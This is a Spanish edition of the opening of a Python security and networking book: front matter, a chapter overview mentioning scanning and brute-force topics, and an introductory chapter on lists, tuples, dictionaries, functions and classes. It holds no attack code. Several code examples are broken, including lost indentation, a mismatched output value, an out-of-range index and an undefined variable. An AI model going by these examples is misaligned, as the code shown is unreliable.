Python para seguridad y redes
Tercera edición
Aproveche los módulos y herramientas de Python para proteger
su red y sus aplicaciones
José Manuel Ortega
BIRMINGHAM—BOMBAY
“Python” y el logotipo de Python son marcas comerciales de
Python Software Foundation.
Python para seguridad y redes
Tercera edición
Derechos de autor © 2023 Packt Publishing
Todos los derechos reservados . Ninguna parte de este libro
podrá reproducirse, almacenarse en un sistema de
recuperación de datos ni transmitirse en ninguna forma ni por
ningún medio sin la autorización previa por escrito del editor,
excepto en el caso de citas breves incluidas en artículos críticos
o reseñas.
En la preparación de este libro se ha hecho todo lo posible para
garantizar la precisión de la información presentada. Sin
embargo, la información contenida en este libro se vende sin
garantía, ni expresa ni implícita. Ni el autor, ni Packt Publishing
ni sus distribuidores serán responsables de ningún daño
causado o presuntamente causado, directa o indirectamente,
por este libro.
Packt Publishing se ha esforzado por proporcionar información
sobre las marcas comerciales de todas las empresas y
productos mencionados en este libro mediante el uso adecuado
de mayúsculas. Sin embargo, Packt Publishing no puede
garantizar la exactitud de esta información.
Gerente sénior de productos editoriales: Aaron Tanna
Editor de Adquisiciones – Revisiones por Pares: Gaurav
Gavas
Editor del proyecto: Namrata Katare
Editor de desarrollo de contenido: Liam Thomas Draper
Editor de copias: Safis Editing
Editor técnico: Aniket Shetty
Corrector: Safis Editing
Indexador: Rekha Nair
Diseñador de presentaciones: Rajesh Shirsath
Ejecutivo de marketing de relaciones con
desarrolladores : Meghal Patel
Primera publicación: septiembre de 2018
Segunda edición: diciembre de 2020
Tercera edición: junio de 2023
Referencia de producción: 1310523
Publicado por Packt Publishing Ltd.
Livery Place
35 Livery Street
Birmingham
B3 2PB, Reino Unido.
ISBN 978-1-83763-755-3
www.packt.com
Colaboradores
Acerca del autor
José Manuel Ortega es ingeniero de software especializado
en nuevas tecnologías, código abierto, seguridad y testing.
Desde sus inicios, su objetivo profesional ha sido especializarse
en Python y proyectos de testing de seguridad.
Ha trabajado como ingeniero de pruebas de seguridad y sus
funciones han sido analizar y probar la seguridad de
aplicaciones, tanto en entornos web como móviles. En los
últimos años, ha desarrollado un interés por el desarrollo de
seguridad, especialmente en pruebas de penetración con
Python.
Ha colaborado con universidades y otras instituciones,
presentando artículos y dando conferencias. También ha sido
ponente en diversas conferencias, tanto nacionales como
internacionales, y le apasiona aprender sobre nuevas
tecnologías y compartir sus conocimientos con la comunidad
de desarrolladores.
Me gustaría agradecer a mi familia y amigos por su apoyo en la
escritura de este libro, a la editorial por darme la oportunidad
de escribir una nueva edición de este libro y a las personas
involucradas en su revisión.
Acerca del revisor
Christian Ghigliotty es un tecnólogo experimentado con más
de ocho años y medio de experiencia en diversas disciplinas de
seguridad de la información, desempeñándose tanto como
profesional como líder. Formó parte del influyente programa de
seguridad de Etsy y ayudó a construir la organización de
seguridad de Compass, una agencia inmobiliaria tecnológica.
Actualmente, desarrolla la arquitectura de seguridad y las
funciones de ingeniería en la empresa tecnológica Justworks,
con sede en Nueva York.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
Prefacio
Recientemente, Python ha comenzado a ganar mucha
popularidad, con las últimas actualizaciones que incorporan
numerosos paquetes que pueden usarse para tareas críticas.
Nuestro principal objetivo con este libro es ofrecer una
cobertura completa de las técnicas y herramientas para redes y
seguridad en Python. Con este libro, podrá aprovechar al
máximo el lenguaje de programación Python para evaluar la
seguridad de su red y aplicaciones.
Este libro comenzará guiándote por los scripts y bibliotecas de
Python relacionados con redes y seguridad. Después,
profundizarás en las tareas clave de las redes y aprenderás a
gestionar sus desafíos. Más adelante, te enseñará a escribir
scripts de seguridad para detectar vulnerabilidades en redes y
sitios web. Al finalizar este libro, habrás aprendido a proteger
endpoints aprovechando los paquetes de Python, a extraer
metadatos de documentos y a escribir scripts de análisis
forense y criptografía.
Para quién es este libro
Este libro es ideal para ingenieros de redes, administradores de
sistemas o cualquier profesional de seguridad que busque
abordar los desafíos de redes y seguridad. Los investigadores y
desarrolladores de seguridad con experiencia previa en Python
le sacarán el máximo provecho. Se requieren conocimientos
básicos de estructuras de programación generales y de Python.
Qué cubre este libro
El capítulo 1 , Trabajar con scripts de Python , le presenta el
lenguaje Python, la programación orientada a objetos, las
estructuras de datos, las excepciones, la gestión de
dependencias para desarrollar con Python y los entornos de
desarrollo.
El capítulo 2 , Paquetes de programación del sistema , le
enseña acerca de los principales módulos de Python para la
programación del sistema, analizando temas como la lectura y
escritura de archivos, subprocesos, sockets, subprocesos
múltiples y simultaneidad.
El capítulo 3 , "Programación de sockets" , ofrece
conocimientos básicos sobre redes en Python mediante
el socketmódulo. El socketmódulo expone todos los elementos
necesarios para escribir rápidamente clientes TCP y UDP, así
como servidores para escribir aplicaciones de red de bajo nivel.
El Capítulo 4 , Programación HTTP y Autenticación Web , abarca
el protocolo HTTP y los principales módulos de Python, como
la urllibbiblioteca estándar y requestsel módulo para recuperar
y manipular contenido web. También se abordan los
mecanismos de autenticación HTTP y cómo gestionarlos con
el requestsmódulo. Finalmente, se explica cómo implementar
clientes OAuth y JWT para la generación de tokens en
aplicaciones web.
El capítulo 5 , «Análisis del tráfico de red y rastreo de
paquetes» , aborda el uso de Python para analizar el tráfico de
red mediante los módulos pcapyy scapy. Estos módulos
permiten escribir pequeños scripts de Python que permiten
investigar el tráfico de red.
El capítulo 6 , «Recopilación de información de servidores con
herramientas OSINT» , abarca las principales herramientas
disponibles en el ecosistema Python para extraer información
de servidores públicos mediante herramientas de inteligencia
de fuentes abiertas ( OSINT ). Revisaremos herramientas
como Google Dorks, SpiderFoot, DnsRecon, DnsPython y otras
para aplicar procesos de fuzzing con Python.
El Capítulo 7 , «Interacción con servidores FTP, SFTP y SSH» ,
detalla los módulos de Python que permiten interactuar con
servidores FTP, SFTP y SSH, comprobando la seguridad de los
servidores SSH con la herramienta ssh-audit. Además,
aprenderemos a implementar una herramienta de fuerza bruta
para conectarnos con servidores SSH.
El capítulo 8 , "Trabajando con Nmap Scanner" , presenta Nmap
como escáner de puertos y explica cómo implementar el
escaneo de red con Python y Nmap para recopilar información
sobre una red, un host específico y los servicios que se
ejecutan en él. También explicamos cómo encontrar posibles
vulnerabilidades en una red determinada con scripts de Nmap.
El Capítulo 9 , Interacción con los Analizadores de
Vulnerabilidades , abarca OpenVAS y OWASP ZAP como
analizadores de vulnerabilidades y proporciona herramientas
para generar informes sobre las principales vulnerabilidades
que podemos encontrar en servidores y aplicaciones web.
Además, explicamos cómo usarlos programáticamente desde
Python con los módulos python-gmvy owasp-zap. Finalmente,
explicamos cómo generar un informe de vulnerabilidades con
la herramienta WriteHat.
El Capítulo 10 , "Interacción con Vulnerabilidades de Servidor
en Aplicaciones Web" , aborda las principales vulnerabilidades
en aplicaciones web y las herramientas disponibles en el
ecosistema Python para descubrir vulnerabilidades en
aplicaciones web CMS, así como SQLMap para detectar
vulnerabilidades SQL. En cuanto a las vulnerabilidades de
servidor, detallamos cómo detectarlas en servidores Tomcat.
El capítulo 11 , Obtener información de la base de datos de
vulnerabilidades , cubre cómo obtener información sobre
vulnerabilidades de CVE, NVD y bases de datos de
vulnerabilidades.
El capítulo 12 , «Extracción de geolocalización y metadatos de
documentos, imágenes y navegadores» , abarca los principales
módulos de Python para extraer información sobre la
geolocalización de direcciones IP, extraer metadatos de
imágenes y documentos PDF, e identificar las tecnologías web
utilizadas por un sitio web. También explicamos cómo extraer
metadatos de los navegadores Chrome y Firefox, e información
relacionada con descargas, cookies e historiales almacenados
en bases de datos SQLite.
El capítulo 13 , «Herramientas de Python para ataques de
fuerza bruta» , abarca las principales herramientas de creación
de diccionarios disponibles en el ecosistema Python para
ataques de fuerza bruta. Se aborda el proceso de ejecución de
ataques de fuerza bruta y las herramientas para ejecutarlos
contra aplicaciones web y archivos ZIP protegidos con
contraseña.
El Capítulo 14 , Criptografía y Ofuscación de Código , abarca los
principales módulos de Python para cifrar y descifrar
información, incluyendo pycryptomey cryptography. También
explicamos cómo generar claves de forma segura en Python
con los módulos secretsy hashlib. Finalmente, abordamos las
herramientas de Python para la ofuscación de código.
Para aprovechar al máximo este libro
Necesitará instalar una distribución de Python en su equipo
local, que debe tener al menos 4 GB de memoria. También
necesitará la versión 3.10 de Python, que puede instalar en su
sistema globalmente o usar un entorno virtual para probar los
scripts con esta versión.
Software/hardware Requisitos del sistema
tratado en el libro operativo
Python 3.10 Windows, macOS y Linux
(cualquiera)
Descargue los archivos de código de ejemplo
El paquete de código del libro está alojado en GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking . También tenemos otros paquetes
de código de nuestro amplio catálogo de libros y vídeos
disponibles en https://github.com/PacktPublishing/ .
¡Échales un vistazo!
Código en acción
Los videos de Código en acción para este libro se pueden ver
en ( https://packt.link/Playlist_CodeinAction ).
Descargar las imágenes en color
También proporcionamos un archivo PDF con imágenes a color
de las capturas de pantalla y diagramas utilizados en este libro.
Puede descargarlo aquí: https://packt.link/t85UI .
Convenciones utilizadas
A lo largo de este libro se utilizan varias convenciones
textuales.
CodeInText: Indica palabras clave en el texto, nombres de
tablas de bases de datos, nombres de carpetas, nombres de
archivos, extensiones de archivos, rutas de acceso, URL
ficticias, entradas del usuario y cuentas de Twitter. Ejemplo:
"De esta manera, el módulo se puede instalar con el pip install
pipreqscomando o a través del repositorio de código de GitHub
usando el python setup.py installcomando".
Un bloque de código se establece de la siguiente manera:
import my_module
def main():
my_module.test()
if __name__ == '__main__':
main()
Cualquier entrada o salida de la línea de comandos se escribe
de la siguiente manera:
$ pip -r requirements.txt
Negrita : Indica un término nuevo, una palabra importante o
palabras que aparecen en pantalla. Por ejemplo, las palabras
en menús o cuadros de diálogo aparecen en el texto así:
"Seleccione Información del sistema en el panel de
administración ".
Las advertencias o notas importantes aparecen así.
Los consejos y trucos aparecen así:
Ponte en contacto con nosotros
Los comentarios de nuestros lectores siempre son bienvenidos.
Comentarios generales : Envíe un correo
electrónico feedback@packtpub.commencionando el título del
libro en el asunto. Si tiene alguna pregunta sobre este libro,
escríbanos a [email protected questions@packtpub.com]
Erratas : Aunque hemos tomado todas las precauciones para
garantizar la precisión de nuestro contenido, pueden producirse
errores. Si encuentra algún error en este libro, le
agradeceríamos que nos lo comunicara.
Visite http://www.packtpub.com/submit-errata , haga clic
en "Enviar errata" y complete el formulario.
Piratería : Si encuentra copias ilegales de nuestras obras en
internet, en cualquier formato, le agradeceríamos que nos
proporcionara la dirección o el nombre del sitio web. Por favor,
contáctenos en [correo electrónico
protegido] copyright@packtpub.comcon un enlace al material.
Si está interesado en convertirse en autor : si hay un
tema en el que es experto y está interesado en escribir o
contribuir a un libro, visite http://authors.packtpub.com .
Comparte tus pensamientos
Una vez que hayas leído Python para Seguridad y Redes,
Tercera Edición , ¡nos encantaría conocer tu opinión! Haz clic
aquí para ir directamente a la página de reseñas de
Amazon y compartir tus comentarios.
Su reseña es importante para nosotros y para la comunidad
tecnológica y nos ayudará a garantizar que ofrecemos
contenido de excelente calidad.
Descargue una copia gratuita en PDF de este libro
¡Gracias por comprar este libro!
¿Te gusta leer mientras viajas pero no puedes llevar tus libros
impresos a todas partes? ¿Tu compra de libro electrónico no es
compatible con el dispositivo que eliges?
No te preocupes, ahora con cada libro de Packt obtendrás una
versión PDF de ese libro sin DRM sin costo.
Lee en cualquier lugar, en cualquier dispositivo. Busca, copia y
pega el código de tus libros técnicos favoritos directamente en
tu aplicación.
Y las ventajas no acaban ahí. Recibe acceso exclusivo a
descuentos, boletines informativos y excelente contenido
gratuito en tu bandeja de entrada todos los días.
Siga estos sencillos pasos para obtener los beneficios:
1. Escanee el código QR o visite el siguiente enlace:
https://packt.link/free-ebook/9781837637553
2. Envíe su comprobante de compra.
3. ¡Listo! Te enviaremos tu PDF gratuito y otros beneficios
directamente a tu correo electrónico.
Sección 1
Entorno Python y herramientas de programación de sistemas
En esta sección, aprenderá los fundamentos de la
programación en Python, incluyendo el entorno de desarrollo y
la metodología para escribir scripts. Además, es importante
conocer los principales módulos y paquetes para tareas de
seguridad y programación del sistema, como la lectura y
escritura de archivos, el uso de hilos, sockets, multihilo y
concurrencia.
Esta parte del libro comprende los siguientes capítulos:
Capítulo 1 , Trabajar con scripts de Python
Capítulo 2 , Paquetes de programación del sistema
1
Trabajar con scripts de Python
Python es un lenguaje de programación orientado a objetos,
fácil de leer y escribir. Es perfecto para profesionales de la
seguridad, ya que permite un desarrollo rápido de pruebas y la
reutilización de objetos en el futuro.
A lo largo de este capítulo, explicaremos estructuras de datos y
colecciones como listas, diccionarios, tuplas e iteradores.
Revisaremos cómo trabajar con funciones, clases, objetos,
archivos y la gestión de excepciones. También aprenderemos a
trabajar con módulos, gestionar dependencias y entornos
virtuales. Finalmente, revisaremos entornos de desarrollo para
scripts en Python, como Python IDLE o PyCharm.
En este capítulo se tratarán los siguientes temas:
Aprenda sobre estructuras de datos y colecciones en
Python
Trabajar con funciones, clases y objetos en Python
Trabajar con archivos en Python
Aprenda y comprenda la gestión de excepciones en
Python
Módulos y paquetes de Python
Gestión de dependencias y entornos virtuales
Entornos de desarrollo para scripts de Python
Requisitos técnicos
Antes de comenzar a leer este libro, debe conocer los
conceptos básicos de la programación en Python, incluida su
sintaxis básica, tipos de variables, tipos de datos, tuplas, listas,
diccionarios, funciones, cadenas y métodos.
Trabajaremos con la versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter01 .
Aprenda sobre estructuras de datos y colecciones en Python
En esta sección revisaremosdiferentes tipos de estructuras de
datos, incluidas listas, tuplas yDiccionarios. Veremos métodos y
operaciones para gestionar estas estructuras de datos y
ejemplos prácticos donde revisamos los principales casos de
uso.
Listas de Python
Las listas en Python son equivalentes aEstructuras como
vectores dinámicos en lenguajes de programación como C y C+
+. Podemos expresar literales encerrando sus elementos entre
corchetes y separándolos con comas. El primer elemento de
una lista tiene índice 0.
Las listas en Python se utilizan para almacenar conjuntos de
elementos relacionados, del mismo tipo o de tipos diferentes.
Además, una lista es una estructura de datos mutable que
permite modificar su contenido una vez creada.
Para crear una lista en Python, simplemente encierre una
secuencia de elementos separados por comas entre
corchetes []. Por ejemplo, para crear una lista con códigos de
respuesta, se haría así:
>>> responses = [200,400,403,500]
Los índices se utilizan para acceder a un elemento de una lista.
Un índice es un entero que indica la posición de un elemento
en una lista. El primer elemento de una lista siempre empieza
en el índice 0.
>>> responses[0]
200
>>> responses[1]
400
Si se intenta acceder a un índice que está fuera del rango de la
lista, el intérprete lanzará la IndexErrorexcepción. De igual
forma, si se utiliza un índice que no es un entero,
la TypeErrorexcepción...será lanzado:
>>> responses[4]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: list index out of range
Considere el siguiente ejemplo: un programador puede crear
una lista usando el append()método añadiendo objetos,
imprimiéndolos y ordenándolos antes de volver a imprimirlos.
En el siguiente ejemplo, describimos una lista de protocolos y
utilizamos los métodos clave de una lista de Python,
como add, indexy remove:
>>> protocolList = []
>>> protocolList.append("FTP")
>>> protocolList.append("SSH")
>>> protocolList.append("SMTP")
>>> protocolList.append("HTTP")
>>> print(protocolList)
['FTP','SSH','SMTP','HTTP']
>>> protocolList.sort()
>>> print(protocolList)
['FTP','HTTP','SMTP','SSH']
>>> type(protocolList)
<type 'list'>
>>> len(protocolList)
4
Para acceder a posiciones específicas, podemos utilizar
el index()método , y para eliminar un elemento, podemos
utilizar el remove()método:
>>> position = protocolList.index('SSH')
>>> print("SSH position"+str(position))
SSH position 3
>>> protocolList.remove("SSH")
>>> print(protocolList)
['FTP','HTTP','SMTP']
>>> count = len(protocolList)
>>> print("Protocol elements "+str(count))
Protocol elements 3
Para imprimir la lista completa de protocolos, siga las
siguientes instrucciones. Esto recorrerá todos los elementos y
los imprimirá:
>>> for protocol in protocolList:
... print(protocol)
...
FTP
HTTP
SMTP
Las listas también proporcionan métodos que ayudan a
manipular los valores dentro de ellas y nos permiten almacenar
más de una variable.Dentro de ellas, se proporciona una mejor
manera de ordenar matrices de objetos en Python. Estas son
las técnicas comúnmente utilizadas para gestionar listas:
.append(value):Agrega un elemento al final de la lista
.count('x'): Obtiene el número de 'x'elementos en la lista
.index('x'): Devuelve el índice de 'x'la lista
.insert('y','x'):Inserciones 'x'en la ubicación'y'
.pop(): Devuelve el último elemento y lo elimina de la lista
.remove('x'): Elimina el primero 'x'de la lista
.reverse(): Invierte los elementos de la lista
.sort():Ordena la lista en orden ascendente
El operador de indexación permite acceder a un elemento y se
expresa sintácticamente añadiendo su índice entre paréntesis a
la lista. list [index]Puede cambiar el valor de un elemento
seleccionado en la lista utilizando el índice entre paréntesis:
protocolList [4] = 'SSH'
print("New list content: ", protocols)
También puedes copiar el valor de una posición específica a
otra posición en la lista:
protocolList [1] = protocolList [4]
print("New list content:", protocols)
El valor dentro de los corchetes que selecciona un elemento de
la lista se llama índice, mientras que la operación de
seleccionar un elemento de la lista se conoce como indexación.
Agregar elementos a una lista
Las listas son secuencias mutables que se pueden modificar, lo
que significa que se pueden agregar, actualizar o eliminar
elementos. Para agregar uno oPara más elementos, podemos
usar el extend()método. También podemos usar
el insert()método para insertar un elemento en una posición de
índice específica. Podemos agregar elementos a una lista
mediante los siguientes métodos:
list.append(value)Este método permite insertar un
elemento al final de la lista. Toma el valor de su
argumento y lo coloca al final de la lista que contiene el
método. La longitud de la lista aumenta en uno.
list.extend(values):Este método permite insertar muchos
elementos al final de la lista.
list.insert(location, value)El insert()método es un poco
más inteligente, ya que permite agregar un nuevo
elemento en cualquier lugar de la lista, no solo al final.
Toma como argumentos primero la ubicación requerida
del elemento a insertar y luego el elemento a insertar.
En el siguiente ejemplo, utilizamos estos métodos para agregar
elementos a la lista de códigos de respuesta.
>>> responses.append(503)
>>> responses
[200, 400, 403, 500, 503]
>>> responses.extend([504,505])
>>> responses
[200, 400, 403, 500, 503, 504, 505]
>>> responses.insert(6,300)
>>> responses
[201, 400, 403, 500, 503, 504, 300, 505]
Invertir una lista
Otra operación interesante quela función que realizamos en
listas es la que ofrece la posibilidad de obtener elementos de
forma inversa en la lista a través del reverse()método:
>>> protocolList.reverse()
>>> print(protocolList)
['SMTP','HTTP','FTP']
Otra forma de realizar la misma operación es usar el índice -1.
Esta técnica rápida y sencilla muestra cómo...acceder a todos
los elementos de una lista en orden inverso:
>>> protocolList[::-1]
>>> print(protocolList)
['SMTP','HTTP','FTP']
Buscando elementos en una lista
En este ejemplo, podemosVea el código para encontrar la
ubicación de un elemento dado dentro de una lista. Usamos
la rangefunción para obtener los elementos
dentro protocolListy comparamos cada elemento con el
elemento a buscar. Cuando ambos elementos son iguales,
rompemos el bucle y devolvemos el elemento. Para saber si un
elemento está contenido en una lista, podemos usar el
operador de pertenencia in.
>>> 'HTTPS' in protocolList
False
>>> 'HTTP' in protocolList
True
Puede encontrar el siguiente código en
el search_element_list.pyarchivo:
protocolList = ["FTP", "HTTP", "SNMP", "SSH"]
element_to_find = "SSH"
for i in range(len(protocolList)):
if element_to_find in protocolList[i]:
print("Element found at index", i)
break
Ahora que sabe cómo agregar, revertir y buscar elementos en
una lista, pasemos a aprender sobre las tuplas en Python.
Tuplas de Python
Al igual que las listas, la tupleclase enPython es una estructura
de datos que puede almacenar elementos de diferentes tipos.
Junto con las clases listy range, es uno de los tipos de
secuencia en Python, con la particularidad de ser inmutables.
Esto significa que su contenido no se puede modificar una vez
creado.
En general, para crear una tupla en Python, simplemente se
define una secuencia de elementos separados por comas. Los
índices se utilizan para acceder a un elemento de una tupla. Un
índice es un entero que indica la posición de un elemento en
una tupla. El primer elemento de una tupla siempre comienza
en el índice 0.
>>> tuple=("FTP","SSH","HTTP","SNMP")
>>> tuple[0]
'FTP'
Si se intenta acceder a un índice que esFuera del rango de la
tupla, el intérprete lanzará la IndexErrorexcepción. De igual
forma, si se utiliza un índice que no es un entero, TypeErrorse
lanzará la excepción:
>>> tuple[5]
Traceback (most recent call last):
File "<input>", line 1, in <module>
IndexError: tuple index out of range
Al igual que con las listas y todos los tipos secuenciales, se
permiten índices negativos para acceder a los elementos de
una tupla. En este caso, el índice -1se refiere al último
elemento de la secuencia, -2al penúltimo, y así sucesivamente:
>>> tuple[-1]
'SNMP'
>>> tuple[-2]
'HTTP'
Al intentar modificar una tupla, vemos como obtenemos un
error ya que las tuplas son objetos inmutables:
>>> tuple[0]="FTP"
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'tuple' object does not support item assignment
Ahora que conoce las estructuras de datos básicas para
trabajar con Python, pasemos a aprender sobre los diccionarios
de Python para organizar la información en el formato clave-
valor.
Diccionarios de Python
La estructura de datos del diccionario de
Python esProbablemente la clase más importante de todo el
lenguaje y nos permite asociar valores con claves. dictLa clase
de Python es un tipo de mapa que asigna claves a valores. A
diferencia de los tipos secuenciales (lista, tupla, rango o
cadena), que se indexan mediante un índice numérico, los
diccionarios se indexan mediante claves. Entre las principales
características de los diccionarios, podemos destacar:
Es un tipo mutable, es decir, su contenido puede
modificarse después de su creación.
Es un tipo que reserva el orden en que se insertan los
pares clave-valor.
En Python hay varias maneras de crear un diccionario. La más
sencilla consiste en encerrar entre llaves una secuencia de
pares clave-valor separados por comas {}. En este ejemplo,
definiremos el nombre del servicio como la clave y el número
de puerto como el valor.
>>> services = {"FTP":21, "SSH":22, "SMTP":25, "HTTP":80}
Otra forma de crear un diccionario es usando la dictclase:
>>> dict(services)
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 80}
>>> type(services)
<class 'dict'>
Acceder a un elemento de un diccionario es una de las
principales operaciones para las que existe este tipo de datos.
El acceso a un valor se realiza indexando la clave. Para ello,
simplemente encierre la clave entre corchetes. Si la clave no
existe, KeyErrorse lanzará la excepción.
>>> services['FTP']
21
La dictclase también ofrece el get (key[, default value])método.
Este método devuelve el valor correspondiente a la clave
utilizada como primer parámetro. Si la clave no existe, no
genera ningún error, pero devuelve el segundo argumento por
defecto. Si no se proporciona este argumento, Nonese
devuelve el valor.
>>> services.get('SSH')
22
Si la clave no existe, no genera ningún error, pero devuelve el
segundo argumento por defecto.
>>> services.get('gopher', "service not found")
'service not found'
Si no se proporciona este argumento, Nonese devuelve el valor.
>>> type(services.get('gopher'))
<class 'NoneType'>
Usando este updatemétodo, podemos combinar dos
diccionarios distintos en uno. Además, el updatemétodo
fusionará los elementos existentes si entran en conflicto:
>>> services = {"FTP":21, "SSH":22, "SMTP":25, "HTTP":80}
>>> services2 = {"FTP":21, "SSH":22, "SMTP":25, "LDAP":389}
>>> services.update(services2)
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 80, 'LDAP': 389}
El primer valor es elclave, y el segundo, el valor de la clave.
Podemos usar cualquier valor inmutable como clave. Podemos
usar números, secuencias, booleanos o tuplas, pero no listas ni
diccionarios, ya que son mutables.
La principal diferencia entre diccionarios y listas o tuplas es que
a los valores de un diccionario se accede por su nombre, no por
su índice. También se puede usar este operador para reasignar
valores, como en las listas y tuplas:
>>> services["HTTP"] = 8080
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 8080, 'LDAP': 389}
Esto significa que un diccionario es un conjunto de pares clave-
valor con las siguientes condiciones:
Cada clave debe ser única : esto significa que no es
posible tener más de una clave del mismo valor.
Una clave puede ser un número o una cadena.
Un diccionario no es una lista : una lista contiene un
conjunto de valores numerados, mientras que un
diccionario contiene pares de valores.
La función len() : funciona para diccionarios y devuelve
la cantidad de elementos clave-valor en el diccionario.
NOTA IMPORTANTE
En Python 3.10, los diccionarios se han convertido en
colecciones ordenadas de forma predeterminada.
La dictclase implementatres métodos, ya que devuelven un
tipo de dato iterable, conocidos como objetos de vista.
EstosLos objetos proporcionan una vista de las claves y valores
de tipo dict_valuescontenidos en el diccionario. Si este cambia,
estos objetos se actualizan instantáneamente. Los métodos son
los siguientes:
items():Devuelve una vista de pares (clave, valor) del
diccionario.
keys():Devuelve una vista de las claves en el diccionario.
values():Devuelve una vista de los valores en el
diccionario.
>>> services.items()
dict_items([('FTP', 21), ('SSH', 22), ('SMTP', 25), ('HTTP', 8080),
('LDAP', 389)])
>>> services.keys()
dict_keys(['FTP', 'SSH', 'SMTP', 'HTTP', 'LDAP'])
>>> services.values()
dict_values([21, 22, 25, 8080, 389])
Es posible que desees iterar sobre un diccionario y extraer y
mostrar todos los pares clave-valor con un forbucle:
>>> for key,value in services.items():
... print(key,value)
...
FTP 21
SSH 22
SMTP 25
HTTP 8080
LDAP 389
La dictclase es mutable, por lo que se pueden añadir, modificar
o eliminar elementos tras la creación de un objeto de este tipo.
Para añadir un nuevo elemento a un diccionario existente,
utilice el operador de asignación =. A la izquierda del operador
aparece el objeto de diccionario con la nueva clave entre
corchetes []y, a la derecha, el valor asociado a dicha clave.
>>> services['HTTPS'] = 443
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 8080, 'LDAP': 389,
'HTTPS': 443}
Ahora que conoces las principales estructuras de datos para
trabajar con Python, pasemos a aprender a
estructurarlas.Nuestro código Python con funciones y clases.
Eliminar un elemento de un diccionario en Python
En Python hay variosExisten varias formas de eliminar un
elemento de un diccionario. Son las siguientes:
pop(key [, default value])Si la clave está en el diccionario,
se elimina el elemento y se devuelve su valor; de lo
contrario, se devuelve el valor predeterminado. Si no se
proporciona el valor predeterminado y la clave no está en
el diccionario, KeyErrorse genera la excepción.
popitem()Elimina el último par clave-valor del diccionario
y lo devuelve. Si el diccionario está vacío, KeyErrorse
genera la excepción.
del d[key]Elimina el par clave-valor. Si la clave no
existe, KeyErrorse genera una excepción.
clear():Borra todos los pares clave:valor del diccionario.
En las siguientes instrucciones eliminamos los elementos
del servicesdiccionario utilizando los métodos anteriores:
>>> services = {'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 8080,
'LDAP': 389, 'HTTPS': 443}
>>> services.pop('HTTPS')
443
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 8080, 'LDAP': 389}
>>> services.popitem()
('LDAP', 389)
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25, 'HTTP': 8080}
>>> del services['HTTP']
>>> services
{'FTP': 21, 'SSH': 22, 'SMTP': 25}
>>> services.clear()
>>> services
{}
Trabajar con funciones, clases y objetos en Python
En esta sección, revisaremos las funciones, clases y objetos de
Python en scripts de Python. Revisaremos algunos ejemplos de
declaración y uso en nuestro código de script.
Funciones de Python
Una función es un bloque de código que realiza una tarea
específica cuando se invoca. Puedes usar funciones para que tu
código sea reutilizable, esté mejor organizado y sea más
legible. Las funciones pueden tenerParámetros y valores de
retorno. Existen al menos cuatro tipos básicos de funciones en
Python:
Funciones integradas : Son unaParte integral de
Python. Puedes consultar la lista completa de funciones
integradas de Python
en https://docs.python.org/3/library/functions.html .
Funciones que provienen de módulos
preinstalados .
Funciones definidas por el usuario : son escritas por
los desarrolladores en su propio código y las
utilizanlibremente en Python.
La función lambda : Esto permitenos permite crear
funciones anónimas que se construyen utilizando
expresiones como product = lambda x,y : x * y,
donde lambdaes una palabra clave de Python y xy yson
los parámetros de la función.
En Python, las funciones incluyen bloques reutilizables
ordenados por código. Esto permite al desarrollador escribir un
bloque de código para realizar una sola acción. Aunque Python
ofrece varias funciones integradas, un desarrollador puede
crear funcionalidades definidas por el usuario.
Las funciones de Python se definen mediante la defpalabra
clave con el nombre de la función, seguido de sus parámetros.
El cuerpo de la función se compone de las sentencias de
Python que se ejecutarán. Puede devolver un valor al invocador
de la función al final de la misma o, si no asigna un valor de
retorno, devolverá el valor "Ninguno" por defecto.
Por ejemplo, podemos definir una función que devuelva Trueel
valor si el elemento se encuentra en el diccionario o Falsesi no.
Puedes encontrar el siguiente código en
el my_function.pyarchivo:
def contains(dictionary,item):
for key,value in dictionary.items():
if value == item:
return True
return False
dictionary = {1:100,2:200,3:300}
print(contains(dictionary,200))
print(contains(dictionary,300))
print(contains(dictionary,350))
Dos factores importanteshacer que los parámetros sean
especiales:
Los parámetros solo existen dentro de las funciones en las
que fueron descritos, y el único lugar donde se puede
especificar el parámetro es en el espacio entre un par de
paréntesis en el defestado.
La asignación de un valor al parámetro se realiza en el
momento de la invocación de la función especificando el
argumento correspondiente.
Clases de Python
Python es un lenguaje orientado a objetos.Lenguaje que
permite crear clases a partir de descripciones e instanciarlas.
Las funciones especificadas dentro de la clase son
instancias.métodos, también conocidos como funciones
miembro.
La forma en que Python construye objetos es mediante
la classpalabra clave. Un objeto de Python es un conjunto de
métodos, variables y propiedades. Se pueden generar
numerosos objetos con la misma descripción de clase. A
continuación, se muestra un ejemplo sencillo de la definición
de un objeto de protocolo.
Puede encontrar el siguiente código en el protocol.pyarchivo:
class Protocol(object):
def __init__(self, name, number,description):
self.name = name
self.number = number
self.description = description
def getProtocolInfo(self):
return self.name+ " "+str(self.number)+ "
"+self.description
El initmétodo es un método especial que actúa como
constructor para realizar la inicialización necesaria. Su primer
parámetro es una palabra clave especial, y utilizamos el
autoidentificador de la referencia actual al objeto.
Esta selfpalabra clave es una referencia al objeto mismo y
proporciona acceso a sus atributos y métodos.
El constructormétodo debe proporcionar el parámetro "self" y
puede tener más parámetros que solo "<sub>" self; en tal
caso, la forma en que se utiliza el nombre de la clase para
crear el objeto debe reflejar la __init__definición. Este método
se utiliza para configurar el objeto; es decir, para inicializar
correctamente su estado interno. Este parámetro es
equivalente al puntero que se encuentra en lenguajes como C+
+ o Java.
Un objectes un conjunto deRequisitos y cualidades asignados a
una clase específica. Las clases forman una jerarquía, lo que
significa que un objeto perteneciente a una clase específica
pertenece a todas las superclases simultáneamente.
